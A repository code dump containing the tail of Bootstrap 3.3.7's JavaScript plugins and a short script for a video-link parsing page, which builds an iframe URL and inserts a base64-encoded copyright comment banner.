1858 | 1859 | function Plugin(option) { 1860 | return this.each(function () { 1861 | var $this = $(this) 1862 | var data = $this.data('bs.popover') 1863 | var options = typeof option == 'object' && option 1864 | 1865 | if (!data && /destroy|hide/.test(option)) return 1866 | if (!data) $this.data('bs.popover', (data = new Popover(this, options))) 1867 | if (typeof option == 'string') data[option]() 1868 | }) 1869 | } 1870 | 1871 | var old = $.fn.popover 1872 | 1873 | $.fn.popover = Plugin 1874 | $.fn.popover.Constructor = Popover 1875 | 1876 | 1877 | // POPOVER NO CONFLICT 1878 | // =================== 1879 | 1880 | $.fn.popover.noConflict = function () { 1881 | $.fn.popover = old 1882 | return this 1883 | } 1884 | 1885 | }(jQuery); 1886 | 1887 | /* ======================================================================== 1888 | * Bootstrap: scrollspy.js v3.3.7 1889 | * http://getbootstrap.com/javascript/#scrollspy 1890 | * ======================================================================== 1891 | * Copyright 2011-2016 Twitter, Inc. 1892 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 1893 | * ======================================================================== */ 1894 | 1895 | 1896 | +function ($) { 1897 | 'use strict'; 1898 | 1899 | // SCROLLSPY CLASS DEFINITION 1900 | // ========================== 1901 | 1902 | function ScrollSpy(element, options) { 1903 | this.$body = $(document.body) 1904 | this.$scrollElement = $(element).is(document.body) ? $(window) : $(element) 1905 | this.options = $.extend({}, ScrollSpy.DEFAULTS, options) 1906 | this.selector = (this.options.target || '') + ' .nav li > a' 1907 | this.offsets = [] 1908 | this.targets = [] 1909 | this.activeTarget = null 1910 | this.scrollHeight = 0 1911 | 1912 | this.$scrollElement.on('scroll.bs.scrollspy', $.proxy(this.process, this)) 1913 | this.refresh() 1914 | this.process() 1915 | } 1916 | 1917 | ScrollSpy.VERSION = '3.3.7' 1918 | 1919 | ScrollSpy.DEFAULTS = { 1920 | offset: 10 1921 | } 1922 | 1923 | ScrollSpy.prototype.getScrollHeight = function () { 1924 | return this.$scrollElement[0].scrollHeight || Math.max(this.$body[0].scrollHeight, document.documentElement.scrollHeight) 1925 | } 1926 | 1927 | ScrollSpy.prototype.refresh = function () { 1928 | var that = this 1929 | var offsetMethod = 'offset' 1930 | var offsetBase = 0 1931 | 1932 | this.offsets = [] 1933 | this.targets = [] 1934 | this.scrollHeight = this.getScrollHeight() 1935 | 1936 | if (!$.isWindow(this.$scrollElement[0])) { 1937 | offsetMethod = 'position' 1938 | offsetBase = this.$scrollElement.scrollTop() 1939 | } 1940 | 1941 | this.$body 1942 | .find(this.selector) 1943 | .map(function () { 1944 | var $el = $(this) 1945 | var href = $el.data('target') || $el.attr('href') 1946 | var $href = /^#./.test(href) && $(href) 1947 | 1948 | return ($href 1949 | && $href.length 1950 | && $href.is(':visible') 1951 | && [[$href[offsetMethod]().top + offsetBase, href]]) || null 1952 | }) 1953 | .sort(function (a, b) { return a[0] - b[0] }) 1954 | .each(function () { 1955 | that.offsets.push(this[0]) 1956 | that.targets.push(this[1]) 1957 | }) 1958 | } 1959 | 1960 | ScrollSpy.prototype.process = function () { 1961 | var scrollTop = this.$scrollElement.scrollTop() + this.options.offset 1962 | var scrollHeight = this.getScrollHeight() 1963 | var maxScroll = this.options.offset + scrollHeight - this.$scrollElement.height() 1964 | var offsets = this.offsets 1965 | var targets = this.targets 1966 | var activeTarget = this.activeTarget 1967 | var i 1968 | 1969 | if (this.scrollHeight != scrollHeight) { 1970 | this.refresh() 1971 | } 1972 | 1973 | if (scrollTop >= maxScroll) { 1974 | return activeTarget != (i = targets[targets.length - 1]) && this.activate(i) 1975 | } 1976 | 1977 | if (activeTarget && scrollTop < offsets[0]) { 1978 | this.activeTarget = null 1979 | return this.clear() 1980 | } 1981 | 1982 | for (i = offsets.length; i--;) { 1983 | activeTarget != targets[i] 1984 | && scrollTop >= offsets[i] 1985 | && (offsets[i + 1] === undefined || scrollTop < offsets[i + 1]) 1986 | && this.activate(targets[i]) 1987 | } 1988 | } 1989 | 1990 | ScrollSpy.prototype.activate = function (target) { 1991 | this.activeTarget = target 1992 | 1993 | this.clear() 1994 | 1995 | var selector = this.selector + 1996 | '[data-target="' + target + '"],' + 1997 | this.selector + '[href="' + target + '"]' 1998 | 1999 | var active = $(selector) 2000 | .parents('li') 2001 | .addClass('active') 2002 | 2003 | if (active.parent('.dropdown-menu').length) { 2004 | active = active 2005 | .closest('li.dropdown') 2006 | .addClass('active') 2007 | } 2008 | 2009 | active.trigger('activate.bs.scrollspy') 2010 | } 2011 | 2012 | ScrollSpy.prototype.clear = function () { 2013 | $(this.selector) 2014 | .parentsUntil(this.options.target, '.active') 2015 | .removeClass('active') 2016 | } 2017 | 2018 | 2019 | // SCROLLSPY PLUGIN DEFINITION 2020 | // =========================== 2021 | 2022 | function Plugin(option) { 2023 | return this.each(function () { 2024 | var $this = $(this) 2025 | var data = $this.data('bs.scrollspy') 2026 | var options = typeof option == 'object' && option 2027 | 2028 | if (!data) $this.data('bs.scrollspy', (data = new ScrollSpy(this, options))) 2029 | if (typeof option == 'string') data[option]() 2030 | }) 2031 | } 2032 | 2033 | var old = $.fn.scrollspy 2034 | 2035 | $.fn.scrollspy = Plugin 2036 | $.fn.scrollspy.Constructor = ScrollSpy 2037 | 2038 | 2039 | // SCROLLSPY NO CONFLICT 2040 | // ===================== 2041 | 2042 | $.fn.scrollspy.noConflict = function () { 2043 | $.fn.scrollspy = old 2044 | return this 2045 | } 2046 | 2047 | 2048 | // SCROLLSPY DATA-API 2049 | // ================== 2050 | 2051 | $(window).on('load.bs.scrollspy.data-api', function () { 2052 | $('[data-spy="scroll"]').each(function () { 2053 | var $spy = $(this) 2054 | Plugin.call($spy, $spy.data()) 2055 | }) 2056 | }) 2057 | 2058 | }(jQuery); 2059 | 2060 | /* ======================================================================== 2061 | * Bootstrap: tab.js v3.3.7 2062 | * http://getbootstrap.com/javascript/#tabs 2063 | * ======================================================================== 2064 | * Copyright 2011-2016 Twitter, Inc. 2065 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 2066 | * ======================================================================== */ 2067 | 2068 | 2069 | +function ($) { 2070 | 'use strict'; 2071 | 2072 | // TAB CLASS DEFINITION 2073 | // ==================== 2074 | 2075 | var Tab = function (element) { 2076 | // jscs:disable requireDollarBeforejQueryAssignment 2077 | this.element = $(element) 2078 | // jscs:enable requireDollarBeforejQueryAssignment 2079 | } 2080 | 2081 | Tab.VERSION = '3.3.7' 2082 | 2083 | Tab.TRANSITION_DURATION = 150 2084 | 2085 | Tab.prototype.show = function () { 2086 | var $this = this.element 2087 | var $ul = $this.closest('ul:not(.dropdown-menu)') 2088 | var selector = $this.data('target') 2089 | 2090 | if (!selector) { 2091 | selector = $this.attr('href') 2092 | selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 2093 | } 2094 | 2095 | if ($this.parent('li').hasClass('active')) return 2096 | 2097 | var $previous = $ul.find('.active:last a') 2098 | var hideEvent = $.Event('hide.bs.tab', { 2099 | relatedTarget: $this[0] 2100 | }) 2101 | var showEvent = $.Event('show.bs.tab', { 2102 | relatedTarget: $previous[0] 2103 | }) 2104 | 2105 | $previous.trigger(hideEvent) 2106 | $this.trigger(showEvent) 2107 | 2108 | if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) return 2109 | 2110 | var $target = $(selector) 2111 | 2112 | this.activate($this.closest('li'), $ul) 2113 | this.activate($target, $target.parent(), function () { 2114 | $previous.trigger({ 2115 | type: 'hidden.bs.tab', 2116 | relatedTarget: $this[0] 2117 | }) 2118 | $this.trigger({ 2119 | type: 'shown.bs.tab', 2120 | relatedTarget: $previous[0] 2121 | }) 2122 | }) 2123 | } 2124 | 2125 | Tab.prototype.activate = function (element, container, callback) { 2126 | var $active = container.find('> .active') 2127 | var transition = callback 2128 | && $.support.transition 2129 | && ($active.length && $active.hasClass('fade') || !!container.find('> .fade').length) 2130 | 2131 | function next() { 2132 | $active 2133 | .removeClass('active') 2134 | .find('> .dropdown-menu > .active') 2135 | .removeClass('active') 2136 | .end() 2137 | .find('[data-toggle="tab"]') 2138 | .attr('aria-expanded', false) 2139 | 2140 | element 2141 | .addClass('active') 2142 | .find('[data-toggle="tab"]') 2143 | .attr('aria-expanded', true) 2144 | 2145 | if (transition) { 2146 | element[0].offsetWidth // reflow for transition 2147 | element.addClass('in') 2148 | } else { 2149 | element.removeClass('fade') 2150 | } 2151 | 2152 | if (element.parent('.dropdown-menu').length) { 2153 | element 2154 | .closest('li.dropdown') 2155 | .addClass('active') 2156 | .end() 2157 | .find('[data-toggle="tab"]') 2158 | .attr('aria-expanded', true) 2159 | } 2160 | 2161 | callback && callback() 2162 | } 2163 | 2164 | $active.length && transition ? 2165 | $active 2166 | .one('bsTransitionEnd', next) 2167 | .emulateTransitionEnd(Tab.TRANSITION_DURATION) : 2168 | next() 2169 | 2170 | $active.removeClass('in') 2171 | } 2172 | 2173 | 2174 | // TAB PLUGIN DEFINITION 2175 | // ===================== 2176 | 2177 | function Plugin(option) { 2178 | return this.each(function () { 2179 | var $this = $(this) 2180 | var data = $this.data('bs.tab') 2181 | 2182 | if (!data) $this.data('bs.tab', (data = new Tab(this))) 2183 | if (typeof option == 'string') data[option]() 2184 | }) 2185 | } 2186 | 2187 | var old = $.fn.tab 2188 | 2189 | $.fn.tab = Plugin 2190 | $.fn.tab.Constructor = Tab 2191 | 2192 | 2193 | // TAB NO CONFLICT 2194 | // =============== 2195 | 2196 | $.fn.tab.noConflict = function () { 2197 | $.fn.tab = old 2198 | return this 2199 | } 2200 | 2201 | 2202 | // TAB DATA-API 2203 | // ============ 2204 | 2205 | var clickHandler = function (e) { 2206 | e.preventDefault() 2207 | Plugin.call($(this), 'show') 2208 | } 2209 | 2210 | $(document) 2211 | .on('click.bs.tab.data-api', '[data-toggle="tab"]', clickHandler) 2212 | .on('click.bs.tab.data-api', '[data-toggle="pill"]', clickHandler) 2213 | 2214 | }(jQuery); 2215 | 2216 | /* ======================================================================== 2217 | * Bootstrap: affix.js v3.3.7 2218 | * http://getbootstrap.com/javascript/#affix 2219 | * ======================================================================== 2220 | * Copyright 2011-2016 Twitter, Inc. 2221 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 2222 | * ======================================================================== */ 2223 | 2224 | 2225 | +function ($) { 2226 | 'use strict'; 2227 | 2228 | // AFFIX CLASS DEFINITION 2229 | // ====================== 2230 | 2231 | var Affix = function (element, options) { 2232 | this.options = $.extend({}, Affix.DEFAULTS, options) 2233 | 2234 | this.$target = $(this.options.target) 2235 | .on('scroll.bs.affix.data-api', $.proxy(this.checkPosition, this)) 2236 | .on('click.bs.affix.data-api', $.proxy(this.checkPositionWithEventLoop, this)) 2237 | 2238 | this.$element = $(element) 2239 | this.affixed = null 2240 | this.unpin = null 2241 | this.pinnedOffset = null 2242 | 2243 | this.checkPosition() 2244 | } 2245 | 2246 | Affix.VERSION = '3.3.7' 2247 | 2248 | Affix.RESET = 'affix affix-top affix-bottom' 2249 | 2250 | Affix.DEFAULTS = { 2251 | offset: 0, 2252 | target: window 2253 | } 2254 | 2255 | Affix.prototype.getState = function (scrollHeight, height, offsetTop, offsetBottom) { 2256 | var scrollTop = this.$target.scrollTop() 2257 | var position = this.$element.offset() 2258 | var targetHeight = this.$target.height() 2259 | 2260 | if (offsetTop != null && this.affixed == 'top') return scrollTop < offsetTop ? 'top' : false 2261 | 2262 | if (this.affixed == 'bottom') { 2263 | if (offsetTop != null) return (scrollTop + this.unpin <= position.top) ? false : 'bottom' 2264 | return (scrollTop + targetHeight <= scrollHeight - offsetBottom) ? false : 'bottom' 2265 | } 2266 | 2267 | var initializing = this.affixed == null 2268 | var colliderTop = initializing ? scrollTop : position.top 2269 | var colliderHeight = initializing ? targetHeight : height 2270 | 2271 | if (offsetTop != null && scrollTop <= offsetTop) return 'top' 2272 | if (offsetBottom != null && (colliderTop + colliderHeight >= scrollHeight - offsetBottom)) return 'bottom' 2273 | 2274 | return false 2275 | } 2276 | 2277 | Affix.prototype.getPinnedOffset = function () { 2278 | if (this.pinnedOffset) return this.pinnedOffset 2279 | this.$element.removeClass(Affix.RESET).addClass('affix') 2280 | var scrollTop = this.$target.scrollTop() 2281 | var position = this.$element.offset() 2282 | return (this.pinnedOffset = position.top - scrollTop) 2283 | } 2284 | 2285 | Affix.prototype.checkPositionWithEventLoop = function () { 2286 | setTimeout($.proxy(this.checkPosition, this), 1) 2287 | } 2288 | 2289 | Affix.prototype.checkPosition = function () { 2290 | if (!this.$element.is(':visible')) return 2291 | 2292 | var height = this.$element.height() 2293 | var offset = this.options.offset 2294 | var offsetTop = offset.top 2295 | var offsetBottom = offset.bottom 2296 | var scrollHeight = Math.max($(document).height(), $(document.body).height()) 2297 | 2298 | if (typeof offset != 'object') offsetBottom = offsetTop = offset 2299 | if (typeof offsetTop == 'function') offsetTop = offset.top(this.$element) 2300 | if (typeof offsetBottom == 'function') offsetBottom = offset.bottom(this.$element) 2301 | 2302 | var affix = this.getState(scrollHeight, height, offsetTop, offsetBottom) 2303 | 2304 | if (this.affixed != affix) { 2305 | if (this.unpin != null) this.$element.css('top', '') 2306 | 2307 | var affixType = 'affix' + (affix ? '-' + affix : '') 2308 | var e = $.Event(affixType + '.bs.affix') 2309 | 2310 | this.$element.trigger(e) 2311 | 2312 | if (e.isDefaultPrevented()) return 2313 | 2314 | this.affixed = affix 2315 | this.unpin = affix == 'bottom' ? this.getPinnedOffset() : null 2316 | 2317 | this.$element 2318 | .removeClass(Affix.RESET) 2319 | .addClass(affixType) 2320 | .trigger(affixType.replace('affix', 'affixed') + '.bs.affix') 2321 | } 2322 | 2323 | if (affix == 'bottom') { 2324 | this.$element.offset({ 2325 | top: scrollHeight - height - offsetBottom 2326 | }) 2327 | } 2328 | } 2329 | 2330 | 2331 | // AFFIX PLUGIN DEFINITION 2332 | // ======================= 2333 | 2334 | function Plugin(option) { 2335 | return this.each(function () { 2336 | var $this = $(this) 2337 | var data = $this.data('bs.affix') 2338 | var options = typeof option == 'object' && option 2339 | 2340 | if (!data) $this.data('bs.affix', (data = new Affix(this, options))) 2341 | if (typeof option == 'string') data[option]() 2342 | }) 2343 | } 2344 | 2345 | var old = $.fn.affix 2346 | 2347 | $.fn.affix = Plugin 2348 | $.fn.affix.Constructor = Affix 2349 | 2350 | 2351 | // AFFIX NO CONFLICT 2352 | // ================= 2353 | 2354 | $.fn.affix.noConflict = function () { 2355 | $.fn.affix = old 2356 | return this 2357 | } 2358 | 2359 | 2360 | // AFFIX DATA-API 2361 | // ============== 2362 | 2363 | $(window).on('load', function () { 2364 | $('[data-spy="affix"]').each(function () { 2365 | var $spy = $(this) 2366 | var data = $spy.data() 2367 | 2368 | data.offset = data.offset || {} 2369 | 2370 | if (data.offsetBottom != null) data.offset.bottom = data.offsetBottom 2371 | if (data.offsetTop != null) data.offset.top = data.offsetTop 2372 | 2373 | Plugin.call($spy, data) 2374 | }) 2375 | }) 2376 | 2377 | }(jQuery); 2378 | -------------------------------------------------------------------------------- /js/tv-beipy.js: -------------------------------------------------------------------------------- 1 | 2 | //play点击事件 3 | function play() { 4 | var rul = document.getElementById("url").value; //获取input链接 5 | if(rul == "") { 6 | alert("北漂鱼提示您:请输入链接,没连接我给你解析个毛线") 7 | } else { 8 | var jxApi = document.getElementById("jk"); //获取选择按钮 9 | var jxurl = document.getElementById("jk").selectedIndex; //获取选中的 10 | var jkv = jxApi.options[jxurl].value; //获取选择接口链接 11 | var paly = document.getElementById("palybox"); //获取播放窗口位置 12 | paly.src = jkv + rul; //接口赋值 13 | //ajax数据传递 14 | var tittext = document.getElementById("tittext"); 15 | //1,create ajax核心对象: 16 | var xhr = getxhr(); 17 | //2,以post的方式与服务器建立连接; 18 | xhr.open("post", "data/title.php", true); 19 | xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 20 | //3,发送一个http请求: 21 | xhr.send("titurl=" + rul); 22 | console.log(xhr.readyState); 23 | //获取服务器状态码 24 | xhr.onreadystatechange = function() { 25 | console.log(xhr.readyState) 26 | console.log(xhr.status) 27 | if(xhr.readyState == 4 && xhr.status == 200) { 28 | tittext.innerHTML = xhr.responseText; //获取服务器响应数据 29 | } 30 | } 31 | 32 | function getxhr() { 33 | var xhr = null; 34 | if(window.XMLHttpRequest) { 35 | xhr = new XMLHttpRequest(); 36 | } else { 37 | xhr = new ActiveXObject("Microsoft.XMLHttp"); 38 | } 39 | return xhr; 40 | } 41 | } 42 | } 43 | 44 | function banquan() { 45 | var htmlzs = "PCEtLQpIb37jgIDimIXimIXimIXimIXimIXimIUK44CA44CA4peL4piF4piF4piF4piF4piF4piF4piF4peLICAK44CA44CA4piF4piF44CA44CA44CAIOOAgOKYheKYhSAgCuOAgOKYheKYheOAgOKIqeOAgOOAgOKIqeOAgCDimIXimIUgIArjgIDimIXimIXjgIDjgIDjgIDil4/jgIAg44CA4piF4piFICAK44CA4piF4piF44CA44CA44CA44CA44CA44CA4piF4piFICAK44CA44CA4piF4piF44CA44CA44CA44CA4piF4piFICAK44CA44CA44CA44CA4piF4piF4piF4piF44CA44CA44CA4pei4pekICAK44CA44CA4pWt44CA44Ch44Ch44Ch44Ch44CA4pWu4pWxICAK44CA44CA44CA4oCU4pSY4oCU4pSY4pSU4oCU4pSU4oCUCgnnvJblhpnvvJpCZWlweShodHRwOi8vd3d3LmJlaXB5LmNvbSkKCeeJiOadg+W9kuWxnu+8muWMl+a8gumxvAkKCeaPj+i/sO+8mkJlaXB5VGhlbWXkuLvpopjjgIIKCeaJgOacieS7o+eggeWdh+eLrOeri+e8luWGme+8jOiwoue7neS4gOWIh+W9ouW8j+eahOebl+ermeihjOS4uu+8ge+8gQotLT4=" 46 | var base = new Base64(); 47 | var result2 = base.decode(htmlzs); 48 | console.log(result2); 49 | $("html").before(result2); 50 | }; 51 | banquan(); --------------------------------------------------------------------------------